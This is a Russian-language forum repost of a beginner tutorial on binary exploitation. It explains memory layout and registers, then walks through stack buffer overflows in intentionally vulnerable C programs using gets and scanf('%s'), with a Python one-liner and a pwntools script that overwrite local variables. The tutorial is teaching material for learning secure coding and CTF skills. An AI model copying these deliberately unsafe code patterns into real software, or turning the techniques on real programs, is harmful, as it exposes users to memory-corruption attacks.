• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN Эксплуатация бинарных уязвимостей (PWN) для почти начинающих: простое переполнение буфера

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Автор: @Mogen
Большое спасибо Dzen и @DragonSov за помощь во время создания статьи!
Источник: codeby.net

План статьи:

1.0. Введение.
1.1 Введение: информация в целом.
1.2 Некоторая информация про память.
1.2.1 Сегменты, структуры данных и адресное пространство.
1.2.2 Регистры.
1.2.2.1. Регистры данных.
1.2.2.2. Сегментные регистры.
1.2.2.3. Регистры-указатели.
1.2.2.4. Регистры-указатели.
1.3 Как хранятся числа в памяти, дополнительный код.
2.0. Простое переполнение буфера.
2.1. "Тайна границ массива".
2.1.1. Исходный код.
2.1.2. Изучим код в IDA.
2.2. Функция, которую нельзя называть.


1.0. Введение

1.1 Введение: информация в целом

В начале была функция, и функция эта называлась gets, и функция использовалась в Си. А потом программы, которые использовали её, стали ломать. И ломали легко. Да и не только программы, а и аккаунты на машинах, запускающих их.

В этом цикле статей мы постараемся понять, почему эти и многие другие программы стали ломать и как нам повторить это, эксплуатируя разные типы бинарных уязвимостей. Понимание и применение знаний по их эксплуатации позволит нам лучше понять, как не нужно писать код и как эксплуатировать тот код, что уже написан и скомпилирован.

Термину "бинарная уязвимость" можно дать разные определения. Но тут мы скажем, что это слабое место (часто функция или какой-либо код) в приложении. Человек, который может использовать эту уязвимость (эксплуатировать), способен ухудшить работу всего сервера, на котором запушено приложение, или, например, получить доступ к системе нежелательного уровня. А может и получить полный доступ к ней. Всё зависит от самого приложения.

Естественно, не всегда эксплуатируют уязвимости ручками. Чаще всего это делают через эксплойт(ы).

Эксплойт - скрипт или просто набор команд, которые эксплуатируют бинарную уязвимость.

Перед прочтением этого цикла статей вам следует знать, что такое ассемблер, язык Си и как ревёрсить программы на этих языки. А так же знать работу памяти на начальном уровне. И уметь пользоваться IDA с некоторыми другими инструментами.
Далее я напомню некоторые (но не все) моменты, которые вам следует понимать.

1.2 Некоторая информация про память

1.2.1 Сегменты, структуры данных и адресное пространство

Когда приложение запускается, ОС создаёт виртуальное адресное пространство и разные части программы помещаются в разные части этого адресного пространства. Размещение зависит от информации в самом файле.

Почти всегда самые главные части для нас - это сегмент с кодом (.text), сегмент с данными (основные: .data и .bss) и сегмент стека.

Сегмент .data содержит инициализированные переменные. Например, переменная a из строки int a = 15;, которая не объявлена в функции, попадёт в этот сегмент с начальным значением 15.
Сегмент .bss содержит неинициализированные переменные. Например, переменная a из строки int a;, которая не объявлена в функции, попадёт в этот сегмент, но без начального значения. Там просто зарезервируется память.

Сегмент - непрерывная область адресного пространства со своими атрибутами доступа.
Тут стоит сделать важное уточнение: начнём изучать бинарные уязвимости мы с ELF-файлов из-за простоты работы под Linux. Но если цикл статей вам понравится, то в дальнейшем перейти к Windows. Так вот, в ELF-файле сегмент может быть разбит на секции, а в PE-файлах (EXE для Windows) наоборот секция - это основная используемая единица.

Потом происходит инициализация стека.
Стек - структура данных, организованных по принципу LIFO (Last In, First Out, «последним пришёл — первым ушёл»). Принцип похож на игрушечную пирамидку.

Pasted image 20221229175853.png


Самый верхний элемент (самый верхний, красный) попадает на вершину последним (Last In). Но чтобы вытащить последний (самый нижний, фиолетовый), нужно забрать все элементы выше. Поэтому самый нижний элемент уйдёт последним, а самый верхний уйдёт первым (First Out).
Стек хорошо подходит для хранения временных переменных. А если быть точнее, то для хранения локальных переменных. Например, переменная a из строки int a = 15;, которая объявлена в функции, попадёт в локальную переменную на стеке со значением 15.

Стек "растёт" от старших адресов к младшим.
Так же есть куча, используемая для хранения динамических данных. Она "растёт" от младших к старшим адресам.
Данные в куче, стеке и сегменте с данными часто будут использованными нами для эксплуатации уязвимостей.

1.2.2 Регистры

У процессоров есть регистрымаленькие сверхбыстрые ячейки памяти, расположенные внутри процессора для считывания, записи, хранения временных данных и выполнения операций над ними. Процессор напрямую обращается к регистрам, что очень сильно повышает скорость работы.
Разделим регистры на 5 категорий:

  1. Регистры данных.
  2. Сегментные регистры.
  3. Регистры-указатели.
  4. Индексные регистры.
  5. Регистр флагов.
Регистры данных используются для хранения промежуточных значений, счётчика цикла, передача аргумента и других операций. Вспомним название регистров под x64 и их частое назначение.

1.2.2.1. Регистры данных

AH (старшая половина) или AL (младшая половина) (1 байт), AX (2 байта), EAX (4 байта), RAX (8 байт) - Accumulator. Хранит результат функции и результаты других вычислений.
BH (старшая половина) или BL (младшая половина) (1 байт), BX (2 байта), EBX (4 байта), RBX (8 байт) - Base. Часто используется для косвенной адресации памяти.

CH (старшая половина) или CL (младшая половина) (1 байт), CX (2 байта), ECX (4 байта), RCX (8 байт) - Count. Используется, как счётчик циклов и в некоторых инструкциях. Используется в соглашении AMD64 ABI и Microsoft x64 для передачи целочисленного аргумента.

DH (старшая половина) или DL (младшая половина) (1 байт), DX (2 байта), EDX (4 байта), RDX (8 байт) - Data. Используется для хранения старшей части результатов некоторых функций. Используется в соглашении AMD64 ABI и Microsoft x64 для передачи целочисленного аргумента.

Приставка E - Extended (EAX, ECX и так далее). Такие регистры только в x32 и x64.
Приставка R - Re-extended (RAX, RCX и так далее). Такие регистры только в x64.
BH и BL - это половинки BX.
BX - это половина EBX.
EBX - это половина RBX.
В виде картинки это можно представить так:

Pasted image 20221229192509.png


Так же можно сделать и с другими регистрами.

1.2.2.2. Сегментные регистры

В x64 не используются сегментные регистры, поэтому в CS, SS, DS и ES базовый адрес принудительно выставляется в 0. Сегментные регистры FS и GS всё ещё могут иметь какой-либо адрес, но он будет 64-битным.

1.2.2.3. Регистры-указатели

SPL (1 байт, но в x64), SP (2 байта), ESP (4 байта), RSP (8 байт) - регистр, который указывает на вершину стека.
BPL (1 байт, но в x64), BP (2 байта), EBP (4 байта), RBP (8 байт) - регистр, который чаще всего указывает на начало стекового кадра. Относительно значения в этом регистре адресуются локальные переменные на стеке.
IP (2 байта), EIP (4 байта), RIP (8 байт) - регистр, который хранит адрес следующей команды для исполнения.

1.2.2.4. Регистры-указатели

SIL (1 байт, но в x64), SI (2 байта), ESI (4 байт), RSI (8 байт) - регистр, который является указателем индекса строки и используется при работе со строками в ассемблере.
DIL (1 байт, но в x64), DI (2 байта), EDI (4 байта), RDI (8 байт) - регистр, который является указателем индекса строки назначения и используется при работе со строками в ассемблере.

1.3 Как хранятся числа в памяти, дополнительный код

В ассемблере и языке Си под переменную с числом можно выделить разное количество байт для хранения. Вот типы языка Си с обозначениями из ассемблера:
char (byte - db) - 1 байт
short (word - dw) - 2 байта (слово)
int (double - dd) - 4 байта (двойное слово)
long (quadro word - dq) - 8 байт (четверное слово)
Напоминаю, что мы рассматриваем x64, поэтому размеры такие.
Например, возьмём число 134. Поместим его в переменную типа int. Представим в 16ой системе счислений: 0x86. Сейчас это число занимает 1 байт. Добьём его незначащими нулями до 4 байт.
0x86 (1 байт)
0x0086 (2 байта)
0x00000086 (4 байта)
Вспомним, что в x86 и x64 данные хранятся в Little-Endian и получим такое :)

0x86000000
Если посмотреть такое число в программе, то увидим это.

Pasted image 20221230194549.png


Для хранения отрицательных чисел используется дополнительный код.
Рассмотрим на примере 1 байта. В 1-байтовом (8-битном) регистре или переменной может быть 256 значений (2).

Решили, что первая часть значений: [0; 127] - это положительные числа и нуль. От 0 до 127.
А вторая часть значений: [128; 255] - это отрицательные числа от -128 до -1.

Если посмотреть в двоичном виде, то можем убедиться в этом.

0 - 0000 0000
1 - 0000 0000
127 - 0111 1111
128 (-128) - 1000 0000
129 (-127) - 1000 0001
255 (-1) - 1111 1111.


Отличие этих чисел в том, что первый бит - это 1 (выделена жирным). По ней и определяется отрицательное или положительное число.
Если самая первая цифра в 2-ом представлении - это 0, то число положительное.
Если самая первая цифра в 2-ом представлении - это 1, то число отрицательное.
Если все цифры 0 в 2-ом представлении, то всё число - это 0.

Только важно учесть размер переменной для определения.

Выше мы рассматривали значение для 1 байта. А если взять 4-байтовое, то оно выглядит так:

00000000 00000000 00000000 00000000

И по первому биту определяется, положительное или отрицательное число. В данном случае оно положительное.

Вернёмся снова к 1 байту:


127 - 0111 1111
128 (-128) - 1000 0000
Видим, что числа 127 и 128 разделяют диапазоны неотрицательных и отрицательных чисел. Их можно представить в 16-ом виде для удобства.


0x7F - 0111 1111
0x80 - 1000 0000
0xFF - 1111 1111


Запомните их.
Если мы вернёмся к 4 байтам и используем 4 байтовую переменную, то максимальное положительное число - это 0x7FFFFFFF. А начало положительных в 0x00000000.
Максимальное отрицательное - это 0xFFFFFFFF. А начало отрицательных в 0x80000000.
Снова видим эти числа. Просто они немного увеличились.
Таким образом, диапазон положительных чисел и 0 для 8 байтовой (64-битной) переменной или регистра: [0x0000000000000000, 0x7FFFFFFFFFFFFFFF].
Диапазон отрицательных чисел для 8 байтовой (64-битной) переменной или регистра: [0x8000000000000000, 0xFFFFFFFFFFFFFFFF].


Диапазон положительных чисел и 0 для 4 байтовой (32-битной) переменной или регистра: [0x00000000, 0x7FFFFFFF].
Диапазон отрицательных чисел для 4 байтовой (32-битной) переменной или регистра: [0x80000000, 0xFFFFFFFF].

Диапазон положительных чисел и 0 для 2 байтовой (16-битной) переменной или регистра: [0x0000, 0x7FFF].
Диапазон отрицательных чисел для 2 байтовой (16-битной) переменной или регистра: [0x8000, 0xFFFF].

Диапазон положительных чисел и 0 для 1 байтовой (8-битной) переменной или регистра: [0x00, 0x7F].
Диапазон отрицательных чисел для 1 байтовой (8-битной) переменной или регистра: [0x80, 0xFF].
Они похожи :)

Дробные числа представлены в языке Си в виде таких основных типов:
float (4 байта)
double (8 байт)
Эти числа хранятся в памяти через стандарт IEEE-754.
Это только часть из всей необходимой информации, что вам следует вспомнить. Если вы не помните большую часть из неё, то, скорее всего, вам будет трудно понять материал дальше. Но можете попробовать, если уверены в себе.

2.0. Простое переполнение буфера.

Про переполнения буфера знает большинство из нас. Буфер - это непрерывный ограниченный участок памяти фиксированного размера. Чаще всего, это массив.

Почему становится возможным переполнить массив?
В языке Си и С++ не проверяются границы массивов. Поэтому программист может записать значение за границы массива. Более того, не только программист, а ещё и мы. Но при определённых условиях!

2.1. "Тайна границ массива"

2.1.1. Исходный код

Перед изучением таких условий, посмотрим на то, как мы можем выйти за границы массива.

C:
#include <stdio.h>

int main() {

    char azz[] = "azzaz";
    int arr[4] = {0x41, 0x42, 0x43, 0x44};
    int test = 65;
    int secret_key = 0xAAA;

    arr[1] = 5;
    printf("arr[1] = %d\n", arr[1]);

    arr[4] = 0x50; /* Частая ошибка, так как массив начинается с нуля. */
    printf("arr[4] = %d\n", arr[4]);


    printf("secret_key_before = %#X\n", secret_key);
    arr[-1] = 0xCCA;
    printf("secret_key_after = %#X\n", secret_key);

    arr[0x150] = 5;
    printf("arr[0x150] = %d\n", arr[0x150]);
    printf("arr[0x180] = %d\n", arr[0x180]);

    arr[-40] = 5;
    printf("arr[-40] = %d\n", arr[-40]);
 
    return 0;
}


Компиляция: gcc test.c -o test
Запуск: ./test
Как вам такое? :)


Pasted image 20221231131959.png


В строке arr[4] = 0x50 мы присваиваем значение пятому элементу. Это частая ошибка, так как мы объявили массив из 4 элементов (int arr[4]), а пытаемся получить доступ к пятому под индексом 4. Напомню, что массивы в Си начинаются с индекса 0. Поэтому индекс 4 - это пятый элемент.
Так как массив всего на 4 элемента, то мы выходим за пределы и меняем пятый элемент. А за пределами массива могут быть другие важные данные, которые мы "перетрём" новыми.
Но это цветочки, так как мы можем изменить элемент по отрицательному индексу в строке arr[-1] = 0xCCA! И язык Си даст нам это сделать без проблем.

В переменной secret_key было число 0xAAA. А после исполнения arr[-1] = 0xCCA мы поменяли значение на 0xCCA. Это потом пригодится нам (в следующей статье).

Более того, можно брать и значения, которые намного превышают размер массива. Например, 0x150. Или -40.
Таким образом, язык Си позволяет нам делать почти всё, что мы захотим. Но и всю ответственность за наши действия возлагает на нас :)

2.1.2. Изучим код в IDA

Но ещё важно посмотреть, как это всё будет выглядеть в IDA. Или говоря по-другому посмотреть на ассемблерный код.
IDA можно скачать отсюда: IDA Freeware
Пока что мы будем пользоваться ею, но в будущем желательно будет перейти на gdb.


Pasted image 20221231185801.png


Вот такой код у нас получился. Сразу сделаем переменные и массивы на стеке, а также дадим им осмысленные названия.


Добавим комментарии.


Pasted image 20221231200811.png


Тут видно, что компилятор не мучался и просто сделал перемещение в нужные участки памяти. Всё правильно =D
Если для доступа к элементу мы используем положительный индекс, то всё понятно. Компилятор будет сразу перемещать данные в нужную ячейку памяти, как показано выше. Или использовать формулу ниже для нахождения адреса элемента, а потом дальнейшего перемещения в него.

Z = x+n×k

Где:

Z — это адрес нужного нам элемента.
x — это адрес элемента с индексом 0.
n — это индекс нужного нам элемента.
k — это размер типа данных одного элемента массива.
А если индекс отрицательный, то будет такое: Z < x.

Например, мы запустили отладчик и получили такие данные:
x = 0x7FFF494B13D0.
n = -1 (0xFFFFFFFFFFFFFFFF).
k = 4 (int).

Тогда если подставить, получим такой пример: Z = 0x7FFF494B13D0 + (-1) * 4 = 0x7FFF494B13D0-0xFFFFFFFFFFFFFFFF*4 = 0x7FFF494B13D0-FFFFFFFFFFFFFFFCh = 0x00007FFF494B13CC. Можем поставить точку останова на mov [rbp+secret_key], 0CCAh, запустить отладчик и проверить. У вас будут другие значения.



Помним про такую вещь, как переполнение в ячейках памяти, чтобы понять это :)

Например, в регистре AL (1 байт - 8 бит) было 255 (-1). Мы добавили 1. Получили 256. Оно не помещается в AL, поэтому мы вычитаем из него 256 (2) и получаем 0.
Или по-другому -1+1=0.
Думаю, остальное всё ясно.

2.2. Функция, которую нельзя называть

Вспомним начало статьи и функцию gets. Эта функция читает вводимую строку в буфер. Чтение прекращается, когда будет встречен символ новой строки (\n) или конец файла. Символ \n на конце не учитывается при записи строки в буфер. Потом к итоговой строке добавляется 0x0 (символ конца строки).
Вот прототип функции:


C:
char * gets( char * string );

Казалось бы, обычная функция для ввода. Но нет...
Представим, что ваш знакомый решил пошутить над вами: вы вводите ключ, а он всегда будет неправильный. Вы изучили программу, которую он скинул и восстановили исходный код.
Вот он:


C:
#include <stdio.h>
#include <string.h>
#include <stdio.h>

char key_correct[] = "CDB";

int main() {

    char check[] = "CODEBY";
    char key[10];

    printf("Check your key ^_^\n");
    printf("Enter key: ");
    gets(key);

    if (strcmp(check, key_correct) == 0) {
        printf("Yes!!\n");
    }
    else {
        printf("No :(\n");
    }



    return 0;
}


И увидели тут уязвимость. Более того, ваш знакомый скомпилировал файл через gcc check.c -o check -fno-stack-protector. Самое главное тут - это -fno-stack-protector. Флаг -fno-stack-protector отключает защиту на стеке.
При простом вводе данных мы видим строку "No :(".



А теперь самое главное: функция gets никак не проверяет ввод. И никак его не ограничивает. Поэтому мы можем ввести данные любого размера.


Как видно выше, мы можем передать любую строку. Но если передать данные слишком большого размера, то получим "segmentation fault". Или по-другому SIGSEGV. Эта ошибка говорит о том, что программа пытается обратиться к адресам из памяти, которой не существует или при обращении с не теми правами.

Рассмотрим подробнее мы это в следующей статье. А пока что рассмотрим скрин из IDA.


Pasted image 20230102150656.png


Сделаем его более понятным. Далее я буду часто сразу показывать скрины из IDA, где все переменные названы и созданы нужные объекты. Вот так мы сделаем его понятнее.[/FONT]


Если поставить точку останова на call _gets, то можно посмотреть на данные в стеке.


Видно и даже посчитано, что строка "CODEBY" находится в 10 байтах от начала массива key. Если мы передадим любые 10 символов, а потом добавим строку "CDB" (её проверяет программа), то увидим строку "Yes!!".

Можно использовать, например, Python: python3 -c "print('A' * 10 + 'CDB')".
Получим: AAAAAAAAAACDB. Введём её.

Pasted image 20230102172720.png


Ура! Это наша первая запывненная программа! :)
Рассмотрим подробнее в IDA. Запустим отладчик и передадим в него эту строку.



Видим, что наш ввод перезаписал строку "CODEBY" на "CDB". И поэтому мы получили "Yes!!". Ура!
Но есть важный момент: строка CODEBY находилась в программе после массива key.

Фрагмент исходного кода выше.:


C:
    char check[] = "CODEBY";
    char key[10];

Это можно определить в IDA.


Мы зашли в окно, где показано место, выделенное для локальных переменных (на стеке). Видно, что check ниже, чем key, поэтому мы и могли перезаписать данные. А если бы check был выше key, то уже нет. Вот так выглядит фрагмент такого кода:

C:
    char key[10];
    char check[] = "CODEBY";

В этом случае уже key находится над check.



Если вы попробуйте передать нашу строку, то ничего не получится. Также не получится это сделать в примере, если не будет использован флаг -fno-stack-protector. Одно из его действий - это изменение расположения переменных при компиляции так, что в итоге их нельзя будет "перетереть".

В итоге мы узнали следующую информацию из тестов выше: функция gets никак не проверяет длину вводимых данных. Если переменные располагаются нужным образом, то можно перетереть нужные данные.

Важно: никогда не используйте gets! Она опасна! Это пишут даже в man'ах.

Помимо gets есть ещё и другие небезопасные функции. Например, scanf с аргументов %s: scanf(%s, str). В этом случае так же не проверяется количество вводимых символов. Но она в отличие от gets имеет дополнительное условие: читает все символы до пробела помимо остальных.

В зависимости от того, где расположен этот массив, можно выделить разные виды переполнения буфера. Например, если массив находится в стеке, то это переполнение на стеке. А если в сегменте с данными, то уже там.

Пока что на этом всё. В следующей статье мы продолжим учиться переполнять буферы :)

Спасибо за прочтение! :)
 
Последнее редактирование:
Автор: @Mogen
Большое спасибо Dzen и @DragonSov за помощь во время создания статьи!
Источник: codeby.net


Доброго времени суток!

Сегодня мы продолжим эксплуатировать переполнение буфера. Но в этот раз не руками, а автоматизированно.

План статьи:
2.3. Python + pwntools
2.3.1. Python + pwntools на простой программе
2.3.1.1. Изучим программу
2.3.1.2. Вспомним некоторую информацию
2.3.1.3. Про pwntools
2.3.1.4. Изучим программу в IDA
2.3.1.5. Пишем первый (а может и нет) эксплойт
2.3.1.6. Итог
2.3.2. Python + pwntools и "страшные индексы"
2.3.3. Пишем эксплойт с приёмом данных
2.3.3.1. Итог

Начнём!

2.3. Python + pwntools

2.3.1. Python + pwntools на простой программе

2.3.1.1. Изучим программу

В прошлый раз мы сами вводили данные. Но что нам делать, например, при таком коде?

C:
#include <stdio.h>

void show_ascii_dump(char* arr) { // Показ ASCII-дампа
    int i;

    printf("|");
    for (i = 0; i < 16; i++) {
        if (arr[i] < 0x20 || arr[i] > 0x7E)
            printf(".");
        else
            printf("%c", arr[i]);
    }
    printf("|");

}

void hexdump(char* arr, int size) {
    int i;
    char *arr_in_ascii;
   
    printf("BASE ADDRESS\t\t\t      OFFSET                        ASCII OFFSET\n");
    printf("0xXXXXXXXXX... | 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F |0123456789ABCDEF|\n\n");
    printf("%p | %02hhx ", arr, arr[i]);

    for (i = 1; i < size; i++) {
        if( ( (i+1) % 16) == 0) {
            printf("%02hhx ", arr[i]);

            // Показываем ASCII-дамп
            arr_in_ascii = arr+i+1-16;
            show_ascii_dump(arr_in_ascii);
           
            printf("\n");

            if (i != size-1) {
                printf("%p | ", arr+i+1);
            }
        }
        else
            printf("%02hhx ", arr[i]);
    }



}


int main() {

    int dec_value = 12345;
    char str[20] = {0};
   
    printf("Enter some string: ");
    scanf("%s", str);

    printf("dec_value = %#x\n\n", dec_value);

    hexdump(str, 0x40);

    return 0;
}

Пример работы.



Что тут происходит?

Всё просто
: мы вводим некоторые данные, а программа показывает нам, какое значение сейчас в переменной dec_value. А также hexdump памяти размером в 0x40 байт. К hexdump'у вернёмся далее.

В этой программе мы бы хотели, например, сделать так, чтобы переменная dec_value была равна 0xEDB. Просто вводя какие-то символы мы не сможем сделать то, что нам нужно. Нужен другой подход.

Функции hexdump и show_ascii_dump смотреть необязательно. Они нужны нам только для изучения содержимого памяти и тренировки навыков pwn.


2.3.1.2. Вспомним некоторую информацию

Вспомним, что для хранения и работы с символами используются таблицы кодировки. В них каждому символу присвоен отдельное значение. Самая известная и используемая таблица кодировки - ASCII. Это кодировка, где 1 символ имеет размер в 1 байт. Это значит, что для одного символа каждое значение (код) занимает размер равный байту (char).

Проще говоря, строка "CODEBY" занимает 6 байт (без учёта символа конца строки). Если учитывать символ конца строки (0x0), то строка "CODEBY\x00" занимает 7 байт.

Символ конца строки 0x0 используется для обозначения конца строки в Си-строках.

1675954794522.png


Для того чтобы узнать код любого символа, нужно сложить нужный элемент первого столбика с нужным значением элемента из верхней строки.

Например, вычислим код символов 'A', и '~'.

1675954815918.png


0x40+0x1=0x41 (65). Это код символа 'A'.

1675954864699.png


0x70+0xE=0x7E (126). Это код символа '~'.

Если мы введём эти символы в программу, то увидим это.



А теперь вспомним, как пользоваться hexdump'ом.

1675954973523.png


Здесь всё, как и с таблицей ASCII выше. Слева (BASE ADDRESS) у нас базовый адрес, вверху смещение относительно него (OFFSET). В середине байты из памяти.

При сложении базового адреса и смещения можем найти адрес нужного байта в памяти и посмотреть его значение. Например, найдём байт по адресу 0x7ffde1843c5d.

1675955031321.png


Это 0x55 ('U'). То, что это именно символ 'U' можно проверить в ASCII OFFSET, который находится справа.

1675955056226.png


Знак точки ('.') - это обычно непечатный символ. Такие символы нельзя просто так ввести с клавиатуры, как обычный текст. Внизу на скриншоте видно, какие символы являются непечатными.

1675955090989.png


Так же вы могли заметить, что используется не всё возможное место в байт. Символы кодируются всего от 0 до 0x7F. Вместе это 0x80 (128) значений - нижняя половина байта. А остальное пространство не используется?
Используется
, но уже в расширенных ASCII кодировках старшая часть байта отводится под определённый национальный алфавит. А может быть и использовано больше байта.

Старшие байты и непечатные символы просто так нам не получится передать в программу выше. Но для этого есть способы!

2.3.1.3. Про pwntools


Передать данные процессу можно разными способами. Например, таким:



Тут видно, что мы даже передали непечатные символы с кодами 0x01, 0x02, 0x03 и 0x04. Но это всё неудобно автоматизировать. А часто это бывает нужно. В этом случае можно взять любой скриптовой язык, например, Python. Вот пример скрипта, который отправляет строку "CODEBY" в нашу программу.

C:
from subprocess import Popen, PIPE

import os

import sys


if __name__ == '__main__':


    payload = b"CODEBY"


    sub = Popen(["./scanf"],stdout=PIPE,stdin=PIPE).communicate(payload)

    print(sub[0].decode())

В нём можно менять строку и передаваемые данные будут разные.



По этой аналогии можно написать код для подсоединения к онлайн-таску. Но мы сделаем по-другому: используем pwntools.

Pwntools - это специальная библиотека под Python для создания эксплойтов. С неё нам будет удобно начать свои эксплойты. Конечно, другие способы в этом цикле тоже будут показаны, но это будет потом. К тому же pwntools часто можно встретить в разных прохождениях тасках из категории "pwn".

Официальная страница pwntools на GitHub: GitHub - Gallopsled/pwntools: CTF framework and exploit development library

Команды для установки pwntools:

Bash:
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

После установки у вас должна появится возможность использовать команду pwn в терминале. Через pwn version мы можем посмотреть версию библиотеки.


1676109629385.png


Если установить pwntools не получилось, можете попробовать скачать её через эти команды:

Bash:
apt-get update
apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
python2 -m pip install --upgrade pip==20.3.4
python2 -m pip install --upgrade pwntools

Через утилиту pwn можно делать много чего, но оставим это на потом.

Так же установим gdb и gdbserver через apt install gdb gdbserver.

Рассмотрим, как использовать pwntools на примере таска выше. Наберём команду pwn /template ./scanf в терминале.

1675957550702.png


Это шаблон кода для эксплойта. Перенаправим его в файл через pwn template ./scanf > exploit.py. Проверьте файл expoit.py. Там должен быть код. Хоть этот шаблон сложным, но это не так. Добавим русские комментарии :)

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

'''context - класс, который используется для указания информации о машине, изучаемом файле и
других данных, используемых в pwntools.
context.binary помогает определить, для какой архитектуры изучаемое приложение, разрядность и
порядок байт.
ELF() - функция, которая собирает информацию об ELF-файле.
'''


exe = context.binary = ELF('./scanf')

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''
    if args.GDB: # Создаём процесс для gdb, если в аргментах есть GDB. Пока что не трогаем.
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else: # Создаём процесс с аргументами
        return process([exe.path] + argv, *a, **kw)

# Скрипт для gdb. Пока-что не трогаем.
gdbscript = '''
tbreak main
continue
'''.format(**locals())


# Некоторая информация о файле
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled

# Начинаем работу с процессом или сокетом. IO - Input/Output.

io = start()

# Пишем сюда наш пейлоад. Тут будет наша полезная нагрузка.
# Далее используем интерактивный режим.

io.interactive()


Если мы просто сейчас запустим этот скрипт, то перейдём в интерактивный режим ( io.interactive() ), так как у нас не написан пейлоад.



Как видно, в интерактивном режиме мы можем самостоятельно без написания эксплойтов вводить какие-то данные с клавиатуры. Это очень удобно!

2.3.1.4. Изучим программу в IDA

Но нам нужно написать эксплойт, поэтому кроме интерактивного режима нам нужно использовать другие возможности pwntools. Напомню, что мы бы хотели сделать так, чтобы переменная dec_value была равна 0xEDB.

В программе есть буфер на 20 байтов и возможность ввода неограниченного количества символов.

Функция scanf с аргументом %s даёт возможность ввода неограниченного количества байт пока не встретится символ-разделитель (пробел, табуляция или другие)! Это весомое отличие от gets(), поэтому при pwn и встрече с этой функцией старайтесь не использовать символы разделители.

Напомню исходный код.

Код:
int main() {

    int dec_value = 12345;
    char str[20] = {0};

   

    printf("Enter some string: ");
    scanf("%s", str);

    printf("dec_value = %#x\n\n", dec_value);
    hexdump(str, 0x40);

    return 0;

}

Зайдём в IDA и посмотрим на код main'а.

1675958641201.png


Сделаем более понятный вывод.

1675958656794.png


Про создание массива и переменных в IDA вы помните из первой статьи.

Хоть мы и выделили на стеке 20 байт под массив и 4 под переменную типа int (всего 24), но компилятор решил по-другому: он выделил 0x20 (32) байт.

1675958725328.png


Про пролог и эпилог функции вы помните :)

Таким образом, у нас оставшиеся 8 байт (0x20-24=8) где-то будут находиться. Посмотрим на это в IDA, перейдя сюда.



Тут видно, что мы переходим в окно с локальными переменными, которые обнаружила IDA. Если мы создадим там массив из 20 байтов (db), то у нас останется 8 лишних байт до dec_value. Компилятор просто добавил 8 байт к массиву str. А уже за ним расположил dec_value.

Буквы s и r мы пока что не трогаем. Они не часть наших переменных.

Компилятор старается выделять на стеке общее место под наши переменные числом, которое кратно 16. Поэтому вместо 24 байт (не кратно 16), он выделил 0x20 (32 - кратно 16). А оставшиеся 8 байт для создания 32 добавил к массиву.

Таким образом, чтобы "перетереть" переменные до dec_value, нам нужно передать 28 (0x20-4) байт. А чтобы поменять значение dec_value, нужно передать 0x20 байт, где последние 4 - нужное нам значение.

1676045373364.png


Грубо говоря, вводимые нами данные, будут заполнять массив вот в таком направлении. Если мы введём данные размером больше 20 байт (размер str), то наш ввод начнёт перетирать compile_space. А если введём данные размером больше 28 байт (20+8) то начнём перетирать dec_value. Это нам и нужно.
Но это возможно, если str будет выше dec_value. Если будет наоборот, то уже не получится. Можно будет просто перетереть s и r, но о них поговорим в одной из следующих статей.
Важно, чтобы вводимые символы не были символами разделителями. Проверим нашу теорию через pwntools. Так же изучим такие функции есть для ввода.


2.3.1.5. Пишем первый (а может и нет) эксплойт

Первым делом протестируем фрагмент кода с экспойтом ниже, а уже потом изучим его.

Python:
# Некоторая информация о файле
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled


# Начинаем работу с процессом или сокетом. IO - Input/Output.
io = start()

payload = b'A' * 28 # "Перетираем" массив str.
payload += p32(0xEDB) # Меняем значение dec_value на новое. Используем p32, так как dec_value типа int (32 бита).
io.sendline(payload) # Отправляем наш пейлоад, добавляя \n.

# Далее используем интерактивный режим.
io.interactive()

Проверим.



Видим, что мы перетёрли значение dec_value на 0xEDB. Ура!


Тут мы только отправляем данные. Принимать их нам пока что не нужно. Отправка происходит через sendline. Этот метод принимает в качестве аргумента байтовые строки. А потом она отправляет их и добавляет символ новой строки. Поэтому называется sendline.

В sendline мы передаём payload. Он состоит из 28 байтов 0x41 (b'A' * 28) и 0xEDB, который будет представлен в виде байт. Так сказать, "упакован".

Функции "упаковки" (p8(), p16(), p32(), p64()) возвращают байтовые строки из введённого числа. Размер строки (в битах) зависит от цифры после буквы p. Например, p8 - упаковать число в 1-байтовую (8-битную) строку, а p16 - упаковать число в 2-байтовую (16-битную) строку. Поэтому мы смело писали payload += p32(0xEDB), так как в исходнике используется тип данных int (32 бит - 4 байта).

И таким образом, получилась байтовая строка размером 32 байта, которую мы отправили программе и перетёрли нужную переменную.

Работают функции упаковки просто. Например, мы передали 0xEDB в функцию p32(). Это всего 2 байта: 0x0E DB (написал через пробел для наглядности). А функция p32() вернёт байтовую строку из 4 байт. В виде алгоритма работа выглядит вот так:

Было: 0x0EDB
1
) Дополняем до 4 байт (32 бит), так как p32(): 0x00 00 0E DB (0x00000EDB).

2) Меняем порядок байт на Little-Endian, так как программа под x64:

Было: 0x00 00 0E DB (Big-Endian)


Стало: 0xDB 0E 00 00 (Little-Endian)
Это одни и те же числа, но просто с разным порядком байт.


Так же есть функции "распаковки": u8(), u16(), u32(), u64(). Они наоборот возвращают число из байтовой строки, которую мы передаём как аргумент. Количество бит в передаваемой байтовой строке зависит от цифры перед буквой u.

Например, в функцию u32() передали байтовую строку b'ABCD'. И в результате получили 0x44434241.

1676047630849.png


Алгоритм перевода простой:

Было: b'ABCD'

1) Переворачиваем строку: b'0xDCBA'.
2) Переводим байтовые символы в число: b'D' - 0x44, b'C' - 0x43, b'B' - 0x42, b'A' - 0x41.

Стало: 0x44434241.

Функции упаковки нам пока что не нужны, но знать о них желательно.


2.3.1.6. Итог

